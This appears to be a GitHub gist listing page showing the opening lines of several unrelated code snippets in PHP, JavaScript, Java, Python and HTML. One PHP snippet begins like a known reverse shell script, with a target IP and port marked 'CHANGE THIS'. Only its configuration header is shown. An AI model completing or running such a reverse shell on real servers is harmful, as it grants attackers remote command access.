This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| Collection::macro('uniqueConsecutive', function ($key = null) { | |
| $lastItem = NULL; | |
| $formatItem = function ($item) use ($key) { | |
| if ($key == null) return $item; | |
| if (isset($item[$key])) return $item[$key]; | |
| return optional($item)->$key; | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| window.globalSet = new Set(); | |
| function augment(withFn) { | |
| var name, fn; | |
| for (name in window) { | |
| fn = window[name]; | |
| if (typeof fn === 'function') { | |
| window[name] = (function(name, fn) { | |
| var args = arguments; | |
| return function() { | |
| withFn.apply(this, args); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import android.content.Context; | |
| import android.graphics.Bitmap; | |
| import android.graphics.BlurMaskFilter; | |
| import android.graphics.BlurMaskFilter.Blur; | |
| import android.graphics.Canvas; | |
| import android.graphics.Color; | |
| import android.graphics.Paint; | |
| import android.graphics.Paint.Style; | |
| import android.graphics.Rect; | |
| import android.graphics.RectF; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| set_time_limit (0); | |
| sleep(5); | |
| $VERSION = "1.0"; | |
| $ip = '172.17.0.8'; // CHANGE THIS | |
| $port = 6060; // CHANGE THIS |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function syntaxHighlight(json) { | |
| json = json.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>'); | |
| return json.replace(/("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?)/g, function (match) { | |
| var cls = 'number'; | |
| if (/^"/.test(match)) { | |
| if (/:$/.test(match)) { | |
| cls = 'key'; | |
| } else { | |
| cls = 'string'; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| numbers = [] | |
| k = 0 | |
| k = int(input("Please enter k : ")) | |
| while (True): | |
| x = str(input("Enter a number (if you done entering numbers, enter end):")) | |
| if x == "end": | |
| break | |
| if x.isdigit(): | |
| numbers.append(int(x)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <title>Uploader</title> | |
| <style type="text/css"> | |
| *{ | |
| transition: 0.3s; | |
| } | |
| body{ | |
| background: #eaeaea; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| class ShmLib | |
| { | |
| var $bright; | |
| var $SHM_KEY; | |
| var $my_pid; | |
| function ShmLib($SHM_KEY=null) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $port = 9050; | |
| // create a streaming socket, of type TCP/IP | |
| $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); | |
| // set the option to reuse the port | |
| socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1); |